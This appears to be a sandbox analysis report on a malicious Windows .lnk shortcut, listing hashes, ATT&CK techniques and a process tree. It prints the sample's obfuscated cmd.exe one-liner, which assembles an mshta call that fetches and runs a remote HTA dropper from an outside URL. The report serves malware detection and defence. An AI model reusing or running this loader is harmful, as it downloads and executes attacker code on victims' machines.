4c38b8c1ad2c09c6c66f8e4c48ffde6b8bb9338dbcf7cf4fc09f5f26f30d617d

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:31

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General

Target
DOC-8JYCZD.lnk
Size 2KB
Sample260804-ke6jdsvgrd
SHA256 4c38b8c1ad2c09c6c66f8e4c48ffde6b8bb9338dbcf7cf4fc09f5f26f30d617d
MD5 1bad3f8d8c1ad5352e6a53c7ab028f5b
SHA1 e2176bdd7451a7e0b5d4c0ec905413bd210b6397
SHA512 12606adc96106de042605db1210b6320923eb545e59a0b29714fd7d823ee4e1ce9747566a5613b88a2980a2031a196b8407e798d4d99c324032c8876c9060e02
TLSH
T15C4104902AEE41D8F2FB8E72ACBE672455BBFD565D70C69D0940820D1422B01DA77B73
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
936	cmd.exe
2332	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 936 wrote to memory of 2332	936	cmd.exe	90
PID 2332 wrote to memory of 4688	2332	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-8JYCZD.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:936
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set tnKn=dathkcwvwkexkdat&set zgw=logmskbpdnmjreidxrlog&set fVCz=cfgdqyjmkjxcfg&set Bj=infyzeaeqogawinf&set mpg=infgibcesesinf&set Bm=infciqusgzinf&set cL=sysjoyjvvsys&set yaKY=23s6&&set Sh=atart0oe&set jg=netmjwsgzfxafwaethtnet&set FeIXt=logumzhflog&set nLR=zvmshnl&&set acuzs=yjsti&&set bgZ=8aod&set Gl=infotlvttwaaorxehtinf&&set xsXM=ht@tp@s:@//@m@a@-p@d@f@fill@e@r@.@l@at@/@h/[email protected]?r@=3@9@1469FB5@D82D@B&&start /b !nLR:~2,3!!acuzs:~3,1!!bgZ:~1,1! !xsXM:@=!&&set mg=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads